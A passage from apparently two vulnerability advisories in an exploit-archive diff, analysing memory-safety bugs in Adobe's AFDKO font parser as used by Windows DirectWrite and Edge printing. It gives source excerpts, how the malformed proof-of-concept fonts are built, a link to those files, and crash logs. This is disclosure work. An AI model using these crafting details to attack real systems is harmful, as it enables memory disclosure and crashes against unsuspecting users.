The readCharset() function in afdko/c/public/lib/source/cffread/cffread.c is called from cfrBegFont(), the main entry point for parsing an input OpenType/CFF font by the "cfr" (CFF Reader) component of AFDKO. At the beginning of the function, it handles variable CFF2 fonts:
|
||||
|
||||
--- cut ---
|
||||
2138 if (h->header.major == 2) {
|
||||
2139 postRead(h);
|
||||
2140 if (h->cff2.mvar)
|
||||
2141 MVARread(h);
|
||||
2142 if (!(h->flags & CID_FONT))
|
||||
2143 readCharSetFromPost(h);
|
||||
2144 else {
|
||||
2145 long gid;
|
||||
2146 for (gid = 0; gid < h->glyphs.cnt; gid++) {
|
||||
2147 abfGlyphInfo *info = &h->glyphs.array[gid];
|
||||
2148 info->cid = (unsigned short)gid;
|
||||
2149 }
|
||||
2150 }
|
||||
2151 return;
|
||||
2152 }
|
||||
--- cut ---
|
||||
|
||||
In this report, we are most interested in lines 2139 and 2143, i.e. the calls to postRead() and readCharSetFromPost(). The postRead() routine is responsible for processing the "post" optional SFNT table, extracting the glyph names that it contains and copying them into the internal engine structures. Let's analyze some of its most important parts:
|
||||
|
||||
--- cut ---
|
||||
1960 if (h->flags & CID_FONT)
|
||||
1961 return; /* Don't read glyph names for CID fonts */
|
||||
1962
|
||||
1963 if (h->post.format != 0x00020000) {
|
||||
1964 buildGIDNames(h);
|
||||
1965 return;
|
||||
1966 }
|
||||
--- cut ---
|
||||
|
||||
In order to pass the two checks, the font must not be CID-keyed and the "post" table format must be 2.0. Then, the number of glyphs described by the table is loaded, and if it's inconsistent with the font's number of glyphs, a warning message is printed.
|
||||
|
||||
--- cut ---
|
||||
1975 /* Parse format 2.0 data */
|
||||
1976 numGlyphs = read2(h);
|
||||
1977 if (numGlyphs != h->glyphs.cnt)
|
||||
1978 message(h, "post 2.0: name index size doesn't match numGlyphs");
|
||||
--- cut ---
|
||||
|
||||
Then, the function proceeds to fill out three internal objects: h->post.fmt2.glyphNameIndex (a dynamic array of "unsigned short", containing indexes into "strings"), h->post.fmt2.strings (a dynamic array of string pointers) and h->post.fmt2.buf (a dynamic array of characters, storing the textual data pointed to by "strings"). One very peculiar feature of the function is that upon encountering invalid input data, it flips the "post" table format to 0x00000001 (even though it was originally 0x00020000) and returns with success:
|
||||
|
||||
--- cut ---
|
||||
2026 parseError:
|
||||
2027 /* We managed to read the header but the rest of the table had an error that
|
||||
2028 prevented reading some (or all) glyph names. We set the the post format
|
||||
2029 to a value that will allow us to use the header values but will prevent
|
||||
2030 us from using any glyph name data which is likely missing or invalid */
|
||||
2031 h->post.format = 0x00000001;
|
||||
2032 }
|
||||
--- cut ---
|
||||
|
||||
While the message explains the developer's intention quite well, it is not factually correct, as the above post format doesn't prevent the code from using glyph name data later on.
|
||||
|
||||
The "parseError" label can be reached from four different locations, each of them being the result of a failed sanity check:
|
||||
|
||||
--- cut ---
|
||||
1968 if (invalidStreamOffset(h, table->offset + table->length - 1)) {
|
||||
1969 message(h, "post: table truncated");
|
||||
1970 goto parseError;
|
||||
1971 }
|
||||
[...]
|
||||
1982 if (length < numGlyphs * 2) {
|
||||
1983 message(h, "post 2.0: table truncated (table ignored)");
|
||||
1984 goto parseError;
|
||||
1985 }
|
||||
[...]
|
||||
1993 if (nid > 32767) {
|
||||
1994 message(h, "post 2.0: invalid name id (table ignored)");
|
||||
1995 goto parseError;
|
||||
[...]
|
||||
2015 if (p > end) {
|
||||
2016 message(h, "post 2.0: invalid strings");
|
||||
2017 goto parseError;
|
||||
2018 }
|
||||
--- cut ---
|
||||
|
||||
Executing the goto statements in lines 1995 and 2017 may lead to inconsistent program state. Here is what may happen:
|
||||
|
||||
- When line 1995 executes, the "glyphNameIndex" object has "numGlyphs" elements, but some of them may be uninitialized, and the "strings" and "buf" arrays are empty.
|
||||
- When line 2017 executes, the "strings" array may be shorter than "glyphNameIndex" (because "strCount" may be smaller than "numGlyphs", as counted by the array in lines 1990-1998), and it may be only partially initialized.
|
||||
|
||||
Knowing that the above conditions may be achieved, let's analyze the second function of interest, readCharSetFromPost(). A majority of its body only executes if the CFR_IS_CFF2 flag is not set, which is not the case for us (remember that the input font must be a CFF2 one):
|
||||
|
||||
--- cut ---
|
||||
2060 static void readCharSetFromPost(cfrCtx h) {
|
||||
2061 Offset offset;
|
||||
2062 unsigned long i;
|
||||
2063 long gid;
|
||||
2064 char *p;
|
||||
2065 long lenStrings = ARRAY_LEN(stdstrs);
|
||||
2066
|
||||
2067 if (!(h->flags & CFR_IS_CFF2)) {
|
||||
[...]
|
||||
2111 }
|
||||
[...]
|
||||
--- cut ---
|
||||
|
||||
This leaves us with the following loop at the end:
|
||||
|
||||
--- cut ---
|
||||
2113 for (gid = 0; gid < h->glyphs.cnt; gid++) {
|
||||
2114 abfGlyphInfo *info = &h->glyphs.array[gid];
|
||||
2115 info->gname.ptr = post2GetName(h, (SID)gid);
|
||||
2116 }
|
||||
--- cut ---
|
||||
|
||||
For each glyph in the font, the loop tries to initialize the glyph's gname.ptr pointer with the address of its textual name. To obtain the address, the following post2GetName() function is used:
|
||||
|
||||
--- cut ---
|
||||
1819 /* Get glyph name from format 2.0 post table. */
|
||||
1820 static char *post2GetName(cfrCtx h, SID gid) {
|
||||
1821 if (gid >= h->post.fmt2.glyphNameIndex.cnt)
|
||||
1822 return NULL; /* Out of bounds; .notdef */
|
||||
1823 else if (h->post.format != 0x00020000)
|
||||
1824 return h->post.fmt2.strings.array[gid];
|
||||
1825 else {
|
||||
1826 long nid = h->post.fmt2.glyphNameIndex.array[gid];
|
||||
1827 if (nid == 0)
|
||||
1828 return stdstrs[nid]; /* .notdef */
|
||||
1829 else if (nid < 258)
|
||||
1830 return applestd[nid];
|
||||
1831 else if (nid - 258 >= h->post.fmt2.strings.cnt) {
|
||||
1832 return NULL; /* Out of bounds; .notdef */
|
||||
1833 } else
|
||||
1834 return h->post.fmt2.strings.array[nid - 258];
|
||||
1835 }
|
||||
1836 }
|
||||
--- cut ---
|
||||
|
||||
This is the last piece of the puzzle and the place where most of the problem resides. Between lines 1821-1824, the code makes two significant assumptions:
|
||||
|
||||
- That the h->post.fmt2.strings array is as long as h->post.fmt2.glyphNameIndex, i.e. if "gid < h->post.fmt2.glyphNameIndex.cnt" then it is safe to access h->post.fmt2.strings.array[gid].
|
||||
- That the h->post.fmt2.strings array is fully initialized.
|
||||
|
||||
Now as we saw before, neither of these assumptions must be true: the "strings" array may be shorter (or completely empty) than "glyphNameIndex", and it may be partially uninitialized due to an early exit from postRead(). Breaking the assumptions may lead to the following:
|
||||
|
||||
- A NULL pointer dereference in line 1824, since an empty "strings" object has a near-NULL "array" value,
|
||||
- Returning an uninitialized chunk of memory as the address of the glyph name,
|
||||
- Returning an out-of-bounds chunk of memory as the address of the glyph name.
|
||||
|
||||
In the 2nd and 3rd case, the invalid gname.ptr value is later referenced when building the output file, for example in glyphBeg (cffwrite/cffwrite_t2cstr.c) if the output format is CFF:
|
||||
|
||||
--- cut ---
|
||||
243 (info->gname.ptr == NULL || info->gname.ptr[0] == '\0')) {
|
||||
--- cut ---
|
||||
|
||||
Considering that the vulnerability may allow writing a string from a potentially controlled address in the process address space to the output file, we classify it as an information disclosure flaw.
|
||||
|
||||
-----=====[ Lesser bugs ]=====-----
|
||||
|
||||
There are two less significant bugs in the creation of the C strings array in postRead(). Let's analyze the following loop again:
|
||||
|
||||
--- cut ---
|
||||
2005 /* Build C strings array */
|
||||
2006 dnaSET_CNT(h->post.fmt2.strings, strCount);
|
||||
2007 p = h->post.fmt2.buf.array;
|
||||
2008 end = p + length;
|
||||
2009 i = 0;
|
||||
2010 for (i = 0; i < h->post.fmt2.strings.cnt; i++) {
|
||||
2011 length = *(unsigned char *)p;
|
||||
2012 *p++ = '\0';
|
||||
2013 h->post.fmt2.strings.array[i] = p;
|
||||
2014 p += length;
|
||||
2015 if (p > end) {
|
||||
2016 message(h, "post 2.0: invalid strings");
|
||||
2017 goto parseError;
|
||||
2018 }
|
||||
2019 }
|
||||
2020 *p = '\0';
|
||||
2021 if (p != end)
|
||||
2022 message(h, "post 2.0: string data didn't reach end of table");
|
||||
2023
|
||||
2024 return; /* Success */
|
||||
2025
|
||||
2026 parseError:
|
||||
2027 /* We managed to read the header but the rest of the table had an error that
|
||||
2028 prevented reading some (or all) glyph names. We set the the post format
|
||||
2029 to a value that will allow us to use the header values but will prevent
|
||||
2030 us from using any glyph name data which is likely missing or invalid */
|
||||
2031 h->post.format = 0x00000001;
|
||||
2032 }
|
||||
--- cut ---
|
||||
|
||||
The issues are as follows:
|
||||
|
||||
- It is possible to set a glyph name in h->post.fmt2.strings.array[i] (line 2013) to a pointer just outside the h->post.fmt2.buf.array allocation (i.e. equal to the value of the "end" pointer). This is due to the fact that the check in line 2015 only verifies that "p" doesn't go significantly outside the buffer, but allows it to be exactly on the verge of it (one byte after). This may later lead to the disclosure of out-of-bounds heap memory.
|
||||
- If the error branch in lines 2015-2018 is taken, the last initialized string in the h->post.fmt2.strings array won't be nul-terminated, which also may disclose data from adjacent heap chunks.
|
||||
|
||||
-----=====[ Proof of Concept ]=====-----
|
||||
|
||||
There are three proof of concept files, poc_null_deref.otf, poc_uninit.otf and poc_oob.otf. They trigger crashes as a result of a NULL pointer dereference, use of uninitialized memory and an out-of-bounds memory read, respectively.
|
||||
|
||||
The malformed values are as follows:
|
||||
|
||||
- In poc_null_deref.otf, the first "nid" is 65535 (larger than 32767), causing the goto statement in line 1995 to be executed, which leaves h->post.fmt2.strings empty.
|
||||
- In poc_uninit.otf, the length of the first string on the list is declared as 255, which exceeds the length of the overall "post" table. This causes postRead() to bail out early in cffread.c:2017, with only h->post.fmt2.strings.array[0] having been initialized, but not array[1] or array[2]. However the latter two values are still returned as valid glyph names by post2GetName(). Later on, this leads to a crash while trying to read from address 0xbebe..be, with 0xbe being ASAN's uninitialized memory marker.
|
||||
- In poc_oob.otf, we set numGlyphs to 60 (i.e. the length of the h->post.fmt2.glyphNameIndex) array, but set the "nid" values such that strCount (i.e. the length of h->post.fmt2.strings) equals 50. All 50 string lengths are set to 0 except for the last one, which is set to 255, exceeding the size of the "post" table. This causes the "goto" in line 2017 to be taken, setting the post table format to 0x00000001. At a later stage of the font parsing, post2GetName() is called with gid=0, 1, ... 49, 50, 51, 52, and so forth. When "gid" reaches 50, the "gid >= h->post.fmt2.glyphNameIndex.cnt" condition is not met and "h->post.format != 0x00020000" is, so the function ends up accessing the out-of-bounds value at h->post.fmt2.strings.array[50].
|
||||
|
||||
The uninitialized memory case doesn't affect Microsoft DirectWrite, as its own allocation function returns zero-ed out memory.
|
||||
|
||||
-----=====[ Crash logs ]=====-----
|
||||
|
||||
A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_uninit.otf crashes in the following way:
|
||||
|
||||
--- cut ---
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
0x00000000005b5add in glyphBeg (cb=0x62c0000078d8, info=0x7ffff7e2a850) at ../../../../../source/cffwrite/cffwrite_t2cstr.c:243
|
||||
243 (info->gname.ptr == NULL || info->gname.ptr[0] == '\0')) {
|
||||
(gdb) x/10i $rip
|
||||
=> 0x5b5add <glyphBeg+2125>: mov 0x7fff8000(%rdx),%sil
|
||||
0x5b5ae4 <glyphBeg+2132>: cmp $0x0,%sil
|
||||
0x5b5ae8 <glyphBeg+2136>: mov %rcx,-0x138(%rbp)
|
||||
0x5b5aef <glyphBeg+2143>: mov %sil,-0x139(%rbp)
|
||||
0x5b5af6 <glyphBeg+2150>: je 0x5b5b23 <glyphBeg+2195>
|
||||
0x5b5afc <glyphBeg+2156>: mov -0x138(%rbp),%rax
|
||||
0x5b5b03 <glyphBeg+2163>: and $0x7,%rax
|
||||
0x5b5b07 <glyphBeg+2167>: mov %al,%cl
|
||||
0x5b5b09 <glyphBeg+2169>: mov -0x139(%rbp),%dl
|
||||
0x5b5b0f <glyphBeg+2175>: cmp %dl,%cl
|
||||
|
||||
(gdb) info reg $rdx
|
||||
rdx 0x17d7d7d7d7d7d7d7 1718079104904320983
|
||||
(gdb) print info->gname
|
||||
$1 = {ptr = 0xbebebebebebebebe <error: Cannot access memory at address 0xbebebebebebebebe>, impl = -1}
|
||||
|
||||
(gdb) bt
|
||||
#0 0x00000000005b5add in glyphBeg (cb=0x62c0000078d8, info=0x7ffff7e2a850) at ../../../../../source/cffwrite/cffwrite_t2cstr.c:243
|
||||
#1 0x00000000006d6fd2 in otfGlyphBeg (cb=0x62c0000078d8, info=0x7ffff7e2a850) at ../../../../../source/tx_shared/tx_shared.c:4812
|
||||
#2 0x0000000000542089 in readGlyph (h=0x62a000000200, gid=1, glyph_cb=0x62c0000078d8) at ../../../../../source/cffread/cffread.c:2891
|
||||
#3 0x0000000000541c33 in cfrIterateGlyphs (h=0x62a000000200, glyph_cb=0x62c0000078d8) at ../../../../../source/cffread/cffread.c:2966
|
||||
#4 0x0000000000509663 in cfrReadFont (h=0x62c000000200, origin=0, ttcIndex=0) at ../../../../source/tx.c:151
|
||||
#5 0x0000000000508cc4 in doFile (h=0x62c000000200, srcname=0x7fffffffdf37 "poc_uninit.otf")
|
||||
at ../../../../source/tx.c:429
|
||||
#6 0x0000000000506b2f in doSingleFileSet (h=0x62c000000200, srcname=0x7fffffffdf37 "poc_uninit.otf")
|
||||
at ../../../../source/tx.c:488
|
||||
#7 0x00000000004fc91f in parseArgs (h=0x62c000000200, argc=2, argv=0x7fffffffdc30) at ../../../../source/tx.c:558
|
||||
#8 0x00000000004f9471 in main (argc=2, argv=0x7fffffffdc30) at ../../../../source/tx.c:1631
|
||||
(gdb)
|
||||
--- cut ---
|
||||
|
||||
A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_oob.otf prints out the following report:
|
||||
|
||||
--- cut ---
|
||||
=================================================================
|
||||
==172440==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6140000005d0 at pc 0x000000556c71 bp 0x7fffcbccca60 sp 0x7fffcbccca58
|
||||
READ of size 8 at 0x6140000005d0 thread T0
|
||||
#0 0x556c70 in post2GetName afdko/c/public/lib/source/cffread/cffread.c:1824:16
|
||||
#1 0x555f53 in readCharSetFromPost afdko/c/public/lib/source/cffread/cffread.c:2115:27
|
||||
#2 0x53efc4 in readCharset afdko/c/public/lib/source/cffread/cffread.c:2143:13
|
||||
#3 0x5299c7 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2789:9
|
||||
#4 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
|
||||
#5 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
|
||||
#6 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#7 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#8 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
|
||||
#9 0x7f655ae8e2b0 in __libc_start_main
|
||||
#10 0x41e5b9 in _start
|
||||
|
||||
0x6140000005d0 is located 0 bytes to the right of 400-byte region [0x614000000440,0x6140000005d0)
|
||||
allocated by thread T0 here:
|
||||
#0 0x4c63f3 in __interceptor_malloc
|
||||
#1 0x6c9da2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
|
||||
#2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17
|
||||
#3 0x7de92e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23
|
||||
#4 0x7def55 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13
|
||||
#5 0x554658 in postRead afdko/c/public/lib/source/cffread/cffread.c:2006:5
|
||||
#6 0x53eed9 in readCharset afdko/c/public/lib/source/cffread/cffread.c:2139:9
|
||||
#7 0x5299c7 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2789:9
|
||||
#8 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
|
||||
#9 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
|
||||
#10 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#11 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#12 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
|
||||
#13 0x7f655ae8e2b0 in __libc_start_main
|
||||
|
||||
SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:1824:16 in post2GetName
|
||||
Shadow bytes around the buggy address:
|
||||
0x0c287fff8060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x0c287fff8070: 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa
|
||||
0x0c287fff8080: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
|
||||
0x0c287fff8090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x0c287fff80a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
=>0x0c287fff80b0: 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa
|
||||
0x0c287fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c287fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c287fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c287fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c287fff8100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
Shadow gap: cc
|
||||
==172440==ABORTING
|
||||
--- cut ---
|
||||
|
||||
A similar Microsoft Edge renderer process crash is also shown below (with Application Verifier enabled for MicrosoftEdgeCP.exe):
|
||||
|
||||
--- cut ---
|
||||
(221c.1250): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
DWrite!post2GetName+0x25:
|
||||
00007ffd`100f5475 488b04c8 mov rax,qword ptr [rax+rcx*8] ds:00000247`2b29b000=????????????????
|
||||
0:039> ? rax
|
||||
Evaluate expression: 2504690085488 = 00000247`2b29ae70
|
||||
0:039> ? rcx
|
||||
Evaluate expression: 50 = 00000000`00000032
|
||||
0:039> dq rax
|
||||
00000247`2b29ae70 00000247`2b296ed1 00000247`2b296ed2
|
||||
00000247`2b29ae80 00000247`2b296ed3 00000247`2b296ed4
|
||||
00000247`2b29ae90 00000247`2b296ed5 00000247`2b296ed6
|
||||
00000247`2b29aea0 00000247`2b296ed7 00000247`2b296ed8
|
||||
00000247`2b29aeb0 00000247`2b296ed9 00000247`2b296eda
|
||||
00000247`2b29aec0 00000247`2b296edb 00000247`2b296edc
|
||||
00000247`2b29aed0 00000247`2b296edd 00000247`2b296ede
|
||||
00000247`2b29aee0 00000247`2b296edf 00000247`2b296ee0
|
||||
0:039> k
|
||||
# Child-SP RetAddr Call Site
|
||||
00 00000044`6973a9e8 00007ffd`100f5b52 DWrite!post2GetName+0x25
|
||||
01 00000044`6973a9f0 00007ffd`100f5d2b DWrite!readCharSetFromPost+0x1b6
|
||||
02 00000044`6973aa30 00007ffd`100f9b80 DWrite!readCharset+0x37
|
||||
03 00000044`6973aa60 00007ffd`100ed7f7 DWrite!cfrBegFont+0x680
|
||||
04 00000044`6973b500 00007ffd`10083a1f DWrite!AdobeCFF2Snapshot+0x10f
|
||||
05 00000044`6973ba00 00007ffd`10082ce1 DWrite!FontInstancer::InstanceCffTable+0x163
|
||||
06 00000044`6973bbf0 00007ffd`1008295e DWrite!FontInstancer::CreateInstanceInternal+0x239
|
||||
07 00000044`6973be10 00007ffd`100633de DWrite!FontInstancer::CreateInstance+0x182
|
||||
08 00000044`6973c170 00007ffd`1ca008e3 DWrite!DWriteFontFace::CreateInstancedStream+0x9e
|
||||
09 00000044`6973c200 00007ffd`1c9f28b9 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
|
||||
0a 00000044`6973c320 00007ffd`032b8394 d2d1!dxc::CXpsPrintControl::Close+0xc9
|
||||
0b 00000044`6973c370 00007ffd`03292760 edgehtml!CDXPrintControl::Close+0x44
|
||||
0c 00000044`6973c3c0 00007ffd`0329784d edgehtml!CTemplatePrinter::EndPrintD2D+0x50
|
||||
0d 00000044`6973c3f0 00007ffd`0315dc9d edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
|
||||
0e 00000044`6973c420 00007ffd`02d9b665 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
|
||||
0f 00000044`6973c460 00007ffd`021aab4e edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
|
||||
--- cut ---
|
||||
|
||||
-----=====[ References ]=====-----
|
||||
|
||||
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
|
||||
[2] https://github.com/adobe-type-tools/afdko
|
||||
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
|
||||
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47101.zip
|
263
exploits/windows/dos/47102.txt
Normal file
263
exploits/windows/dos/47102.txt
Normal file
|
@ -0,0 +1,263 @@
|
|||
-----=====[ Background ]=====-----
|
||||
|
||||
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
|
||||
|
||||
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
|
||||
|
||||
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
|
||||
|
||||
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
|
||||
|
||||
-----=====[ Description ]=====-----
|
||||
|
||||
The AFDKO library has its own implementation of dynamic arrays, semantically resembling e.g. std::vector from C++. These objects are implemented in c/public/lib/source/dynarr/dynarr.c and c/public/lib/api/dynarr.h. There are a few interesting observations we can make about them:
|
||||
|
||||
- Each dynamic array is initialized with the dnaINIT() macro, which lets the caller specify the initial number of items allocated on first access, and the increments in which the array is extended. This is an optimization designed to reduce the number of memory allocations, while making it possible to fine-tune the behavior of the array based on the nature of the data it stores.
|
||||
- An empty dynamic array object uses the "array" pointer (which normally stores the address of the allocated elements) to store the "init" value, i.e. the minimum number of elements to allocate. Therefore referencing a non-existing element in an empty dynarr typically results in a near-NULL pointer dereference crash.
|
||||
- Information such as element counts, indexes etc. is usually passed to the dna* functions as signed integers or longs. This means, for example, that calling dnaSET_CNT() with a nonpositive "n" argument on an empty array is a no-op, as "n" is then smaller or equal to the current cnt=0, and thus no allocation is performed.
|
||||
|
||||
There are several places in AFDKO where dynamic arrays are used incorrectly in the following ways:
|
||||
|
||||
- The size of a dynarr is set to 0 and the code starts operating on the dynarr.array pointer (wrongly) assuming that the array contains at least 1 element,
|
||||
- The size of a dynarr is set to a negative value (which keeps the array at the same length as it was before), but it is later used as an unsigned number, e.g. to control the number of loop iterations.
|
||||
|
||||
Considering the current implementation of the dynarrays, both of the above situations lead to NULL pointer dereference crashes which are impossible to exploit for arbitrary code execution. However, this is due to pure coincidence, and if the internals of the dynamic arrays were a little different in the future (e.g. a malloc(0) pointer was initially assigned to an empty array), then these bugs would immediately become memory corruption issues. The affected areas of code don't respect the length of the arrays they read from and write to, which is why we are reporting the issues despite their seemingly low severity.
|
||||
|
||||
We noticed the bugs in the following locations in cffread.c:
|
||||
|
||||
--- cut ---
|
||||
1900 static void buildGIDNames(cfrCtx h) {
|
||||
1901 char *p;
|
||||
1902 long length;
|
||||
1903 long numGlyphs = h->glyphs.cnt;
|
||||
1904 unsigned short i;
|
||||
1905
|
||||
1906 dnaSET_CNT(h->post.fmt2.glyphNameIndex, numGlyphs);
|
||||
1907 for (i = 0; i < numGlyphs; i++) {
|
||||
1908 h->post.fmt2.glyphNameIndex.array[i] = i;
|
||||
1909 }
|
||||
1910 /* Read string data */
|
||||
1911 length = numGlyphs * 9; /* 3 for 'gid', 5 for GID, 1 for null termination. */
|
||||
1912 dnaSET_CNT(h->post.fmt2.buf, length + 1);
|
||||
1913 /* Build C strings array */
|
||||
1914 dnaSET_CNT(h->post.fmt2.strings, numGlyphs);
|
||||
1915 p = h->post.fmt2.buf.array;
|
||||
1916 sprintf(p, ".notdef");
|
||||
1917 length = (long)strlen(p);
|
||||
1918 h->post.fmt2.strings.array[0] = p;
|
||||
1919 p += length + 1;
|
||||
1920 for (i = 1; i < numGlyphs; i++) {
|
||||
1921 h->post.fmt2.strings.array[i] = p;
|
||||
1922 sprintf(p, "gid%05d", i);
|
||||
1923 length = (long)strlen(p);
|
||||
1924 p += length + 1;
|
||||
1925 }
|
||||
1926
|
||||
1927 return; /* Success */
|
||||
1928 }
|
||||
--- cut ---
|
||||
|
||||
In the above function, if numGlyphs=0, then there are two problems:
|
||||
|
||||
- The length of the h->post.fmt2.buf buffer is set to 1 in line 1912, but then 8 bytes are copied into it in line 1916. However, because the "init" value for the array is 300, 300 bytes are allocated instead of just 1 and no memory corruption takes place.
|
||||
- The length of h->post.fmt2.strings is set to 0 in line 1914, yet the code accesses the non-existent element h->post.fmt2.strings.array[0] in line 1918, triggering a crash.
|
||||
|
||||
Furthermore, in readCharset():
|
||||
|
||||
--- cut ---
|
||||
[...]
|
||||
2164 default: {
|
||||
2165 /* Custom charset */
|
||||
2166 long gid;
|
||||
2167 int size = 2;
|
||||
2168
|
||||
2169 srcSeek(h, h->region.Charset.begin);
|
||||
2170
|
||||
2171 gid = 0;
|
||||
2172 addID(h, gid++, 0); /* .notdef */
|
||||
2173
|
||||
2174 switch (read1(h)) {
|
||||
[...]
|
||||
--- cut ---
|
||||
|
||||
where addID() is defined as:
|
||||
|
||||
--- cut ---
|
||||
1839 static void addID(cfrCtx h, long gid, unsigned short id) {
|
||||
1840 abfGlyphInfo *info = &h->glyphs.array[gid];
|
||||
1841 if (h->flags & CID_FONT)
|
||||
1842 /* Save CID */
|
||||
1843 info->cid = id;
|
||||
1844 else {
|
||||
1845 /* Save SID */
|
||||
1846 info->gname.impl = id;
|
||||
1847 info->gname.ptr = sid2str(h, id);
|
||||
1848
|
||||
1849 /* Non-CID font so select FD[0] */
|
||||
1850 info->iFD = 0;
|
||||
[...]
|
||||
--- cut ---
|
||||
|
||||
Here in line 2172, readCharset() assumes that there is at least one glyph declared in the font (the ".notdef"). If there aren't any, trying to access h->glyphs.array[0] leads to a crash in line 1843 or 1846.
|
||||
|
||||
Lastly, let's have a look at readCharStringsINDEX():
|
||||
|
||||
--- cut ---
|
||||
1779 /* Read CharStrings INDEX. */
|
||||
1780 static void readCharStringsINDEX(cfrCtx h, short flags) {
|
||||
1781 unsigned long i;
|
||||
1782 INDEX index;
|
||||
1783 Offset offset;
|
||||
1784
|
||||
1785 /* Read INDEX */
|
||||
1786 if (h->region.CharStringsINDEX.begin == -1)
|
||||
1787 fatal(h, cfrErrNoCharStrings);
|
||||
1788 readINDEX(h, &h->region.CharStringsINDEX, &index);
|
||||
1789
|
||||
1790 /* Allocate and initialize glyphs array */
|
||||
1791 dnaSET_CNT(h->glyphs, index.count);
|
||||
1792 srcSeek(h, index.offset);
|
||||
1793 offset = index.data + readN(h, index.offSize);
|
||||
1794 for (i = 0; i < index.count; i++) {
|
||||
1795 long length;
|
||||
1796 abfGlyphInfo *info = &h->glyphs.array[i];
|
||||
1797
|
||||
1798 abfInitGlyphInfo(info);
|
||||
1799 info->flags = flags;
|
||||
1800 info->tag = (unsigned short)i;
|
||||
[...]
|
||||
1814 }
|
||||
1815 }
|
||||
--- cut ---
|
||||
|
||||
